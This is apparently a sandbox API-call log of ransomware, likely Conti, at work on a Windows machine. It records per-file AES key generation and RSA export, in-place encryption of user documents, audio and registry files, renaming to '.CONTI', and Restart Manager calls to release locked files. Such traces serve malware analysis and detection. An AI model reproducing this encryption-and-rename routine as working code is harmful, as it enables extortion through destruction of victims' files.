	[0137.808] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0137.808] GetLastError () returned 0x0
	[0137.808] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=524288) returned 1
	[0137.808] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x80000
	[0137.808] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0137.808] SetEndOfFile (hFile=0x44c) returned 1
	[0137.809] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.809] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0137.809] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4d73c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x6b4d73c*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0137.810] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0137.810] ReadFile (in: hFile=0x44c, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x80000, lpOverlapped=0x0) returned 1
	[0138.041] CryptEncrypt (in: hKey=0x6b7eb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x80000, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x80010) returned 1
	[0138.042] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.042] WriteFile (in: hFile=0x44c, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x80010, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x80010, lpOverlapped=0x0) returned 1
	[0138.043] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.043] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4d730*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x6b4d730*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0138.043] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.043] CloseHandle (hObject=0x44c) returned 1
	[0138.043] GetProcessHeap () returned 0x1720000
	[0138.043] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0138.043] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms"
	[0138.043] lstrcatW (in: lpString1="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms", lpString2=".CONTI" | out: lpString1="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.CONTI") returned="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.CONTI"
	[0138.043] MoveFileW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{4e074668-0c1c-11e7-a943-e41d2d718a20}.TMContainer00000000000000000002.regtrans-ms.CONTI" (normalized: "c:\\users\\default\\ntuser.dat{4e074668-0c1c-11e7-a943-e41d2d718a20}.tmcontainer00000000000000000002.regtrans-ms.conti")) returned 1
	[0138.044] GetProcessHeap () returned 0x1720000
	[0138.044] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0138.044] CryptDestroyKey (hKey=0x6b7eb38) returned 1
	[0138.044] GetProcessHeap () returned 0x1720000
	[0138.044] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0f70 | out: hHeap=0x1720000) returned 1
	[0138.044] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0138.044] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b48bf0 | out: phKey=0x6b48bf0*=0x6b7e778) returned 1
	[0138.044] CryptExportKey (in: hKey=0x6b7e778, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b48bf4, pdwDataLen=0x40bfa14 | out: pbData=0x6b48bf4*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0138.045] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\2EwUqOZOf-cfGNifD5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\2ewuqozof-cfgnifd5.xlsx")) returned 0x20
	[0138.045] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\2EwUqOZOf-cfGNifD5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\2ewuqozof-cfgnifd5.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0138.046] GetLastError () returned 0x0
	[0138.046] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=36926) returned 1
	[0138.046] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x903e
	[0138.046] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.046] SetEndOfFile (hFile=0x44c) returned 1
	[0138.046] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.046] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.046] WriteFile (in: hFile=0x44c, lpBuffer=0x6b48bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x6b48bf4*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0138.054] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.054] ReadFile (in: hFile=0x44c, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x903e, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x903e, lpOverlapped=0x0) returned 1
	[0138.069] CryptEncrypt (in: hKey=0x6b7e778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x903e, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x9040) returned 1
	[0138.069] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.069] WriteFile (in: hFile=0x44c, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x9040, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x9040, lpOverlapped=0x0) returned 1
	[0138.069] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.069] WriteFile (in: hFile=0x44c, lpBuffer=0x6b48be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x6b48be8*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0138.069] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0138.069] CloseHandle (hObject=0x44c) returned 1
	[0138.077] GetProcessHeap () returned 0x1720000
	[0138.077] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fd428
	[0138.077] lstrcpyW (in: lpString1=0x17fd428, lpString2="C:\\Users\\FD1HVy\\Documents\\2EwUqOZOf-cfGNifD5.xlsx" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\2EwUqOZOf-cfGNifD5.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\2EwUqOZOf-cfGNifD5.xlsx"
	[0138.077] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\2EwUqOZOf-cfGNifD5.xlsx", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\2EwUqOZOf-cfGNifD5.xlsx.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\2EwUqOZOf-cfGNifD5.xlsx.CONTI"
	[0138.078] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\2EwUqOZOf-cfGNifD5.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\2ewuqozof-cfgnifd5.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\2EwUqOZOf-cfGNifD5.xlsx.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\2ewuqozof-cfgnifd5.xlsx.conti")) returned 1
	[0138.081] GetProcessHeap () returned 0x1720000
	[0138.081] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fd428 | out: hHeap=0x1720000) returned 1
	[0138.081] CryptDestroyKey (hKey=0x6b7e778) returned 1
	[0138.081] GetProcessHeap () returned 0x1720000
	[0138.081] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65dec30 | out: hHeap=0x1720000) returned 1
	[0138.081] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0139.133] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d2a8 | out: phKey=0x6b4d2a8*=0x6b7f678) returned 1
	[0139.133] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d2ac, pdwDataLen=0x40bfa14 | out: pbData=0x6b4d2ac*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0141.245] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini")) returned 0x26
	[0141.246] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0141.246] GetLastError () returned 0x0
	[0141.246] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=402) returned 1
	[0141.246] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x192
	[0141.246] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.246] SetEndOfFile (hFile=0x44c) returned 1
	[0141.248] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.248] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.248] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4d2ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x6b4d2ac*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.256] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.256] ReadFile (in: hFile=0x44c, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x192, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x192, lpOverlapped=0x0) returned 1
	[0141.256] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x192, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x1a0) returned 1
	[0141.256] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.257] WriteFile (in: hFile=0x44c, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x1a0, lpOverlapped=0x0) returned 1
	[0141.257] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.257] WriteFile (in: hFile=0x44c, lpBuffer=0x6b4d2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x6b4d2a0*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0141.257] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.257] CloseHandle (hObject=0x44c) returned 1
	[0141.257] GetProcessHeap () returned 0x1720000
	[0141.257] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.257] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Documents\\desktop.ini" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\desktop.ini") returned="C:\\Users\\FD1HVy\\Documents\\desktop.ini"
	[0141.257] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Documents\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Documents\\desktop.ini.CONTI") returned="C:\\Users\\FD1HVy\\Documents\\desktop.ini.CONTI"
	[0141.257] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\desktop.ini.CONTI" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini.conti")) returned 1
	[0141.257] GetProcessHeap () returned 0x1720000
	[0141.258] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.258] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0141.258] GetProcessHeap () returned 0x1720000
	[0141.258] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bf180 | out: hHeap=0x1720000) returned 1
	[0141.258] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0141.258] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b49080 | out: phKey=0x6b49080*=0x6b7f678) returned 1
	[0141.258] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49084, pdwDataLen=0x40bfa14 | out: pbData=0x6b49084*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0141.259] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\z4Rb.wav" (normalized: "c:\\users\\fd1hvy\\music\\z4rb.wav")) returned 0x20
	[0141.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\z4Rb.wav" (normalized: "c:\\users\\fd1hvy\\music\\z4rb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c
	[0141.259] GetLastError () returned 0x0
	[0141.259] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x40bf9c0 | out: lpFileSize=0x40bf9c0*=21834) returned 1
	[0141.259] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x554a
	[0141.259] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.259] SetEndOfFile (hFile=0x44c) returned 1
	[0141.259] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.259] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.259] WriteFile (in: hFile=0x44c, lpBuffer=0x6b49084*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x40bf9cc, lpOverlapped=0x0 | out: lpBuffer=0x6b49084*, lpNumberOfBytesWritten=0x40bf9cc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.262] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.262] ReadFile (in: hFile=0x44c, lpBuffer=0xacc0000, nNumberOfBytesToRead=0x554a, lpNumberOfBytesRead=0x40bf9ec, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesRead=0x40bf9ec*=0x554a, lpOverlapped=0x0) returned 1
	[0141.289] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x554a, dwBufLen=0x500000 | out: pbData=0xacc0000*, pdwDataLen=0x40bf9e4*=0x5550) returned 1
	[0141.289] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.289] WriteFile (in: hFile=0x44c, lpBuffer=0xacc0000*, nNumberOfBytesToWrite=0x5550, lpNumberOfBytesWritten=0x40bfa00, lpOverlapped=0x0 | out: lpBuffer=0xacc0000*, lpNumberOfBytesWritten=0x40bfa00*=0x5550, lpOverlapped=0x0) returned 1
	[0141.289] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.289] WriteFile (in: hFile=0x44c, lpBuffer=0x6b49078*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x40bfa18, lpOverlapped=0x0 | out: lpBuffer=0x6b49078*, lpNumberOfBytesWritten=0x40bfa18*=0x8, lpOverlapped=0x0) returned 1
	[0141.289] SetFilePointer (in: hFile=0x44c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.289] CloseHandle (hObject=0x44c) returned 1
	[0141.290] GetProcessHeap () returned 0x1720000
	[0141.290] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.831] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\z4Rb.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\z4Rb.wav") returned="C:\\Users\\FD1HVy\\Music\\z4Rb.wav"
	[0141.831] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\z4Rb.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\z4Rb.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\z4Rb.wav.CONTI"
	[0141.831] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\z4Rb.wav" (normalized: "c:\\users\\fd1hvy\\music\\z4rb.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\z4Rb.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\z4rb.wav.conti")) returned 1
	[0141.833] GetProcessHeap () returned 0x1720000
	[0141.833] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.833] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0141.833] GetProcessHeap () returned 0x1720000
	[0141.833] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17349d8 | out: hHeap=0x1720000) returned 1
	[0141.833] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x40bfa40, lpCompletionKey=0x40bfa44, lpOverlapped=0x40bfa50) returned 1
	[0141.833] CryptGenKey (in: hProv=0x17588c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b49758 | out: phKey=0x6b49758*=0x6b7f678) returned 1
	[0141.833] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x173a550, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4975c, pdwDataLen=0x40bfa14 | out: pbData=0x6b4975c*, pdwDataLen=0x40bfa14*=0x20c) returned 1
	[0141.835] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log1")) returned 0x26
	[0141.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\ntuser.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\ntuser.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0141.835] GetLastError () returned 0x20
	[0141.835] RmStartSession () returned 0x0
	[0141.843] RmRegisterResources () returned 0x0
	[0141.861] RmGetList () returned 0xea
	[0147.599] RmShutdown () 

Thread:
	id = 156
	os_tid = 0xf90

	[0093.060] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xb1d0000
	[0093.060] CryptAcquireContextA (in: phProv=0x41ffb74, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x41ffb74*=0x175b1a0) returned 1
	[0093.062] CryptImportKey (in: hProv=0x175b1a0, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x41ffb70 | out: phKey=0x41ffb70*=0x173a690) returned 1
	[0093.063] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x41ffb68, lpCompletionKey=0x41ffb6c, lpOverlapped=0x41ffb78) returned 1
	[0093.779] CryptGenKey (in: hProv=0x175b1a0, Algid=0x6610, dwFlags=0x1, phKey=0x17d41f0 | out: phKey=0x17d41f0*=0x175e4b0) returned 1
	[0093.779] CryptExportKey (in: hKey=0x175e4b0, hExpKey=0x173a690, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d41f4, pdwDataLen=0x41ffb3c | out: pbData=0x17d41f4*, pdwDataLen=0x41ffb3c*=0x20c) returned 1
	[0093.780] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80
	[0093.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0093.780] GetLastError () returned 0x0
	[0093.780] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x41ffae8 | out: lpFileSize=0x41ffae8*=79296) returned 1
	[0093.780] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x135c0
	[0093.780] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.780] SetEndOfFile (hFile=0x338) returned 1
	[0093.781] SetFilePointer (in: hFile=0x338, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.781] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.781] WriteFile (in: hFile=0x338, lpBuffer=0x17d41f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x41ffaf4, lpOverlapped=0x0 | out: lpBuffer=0x17d41f4*, lpNumberOfBytesWritten=0x41ffaf4*=0x20c, lpOverlapped=0x0) returned 1
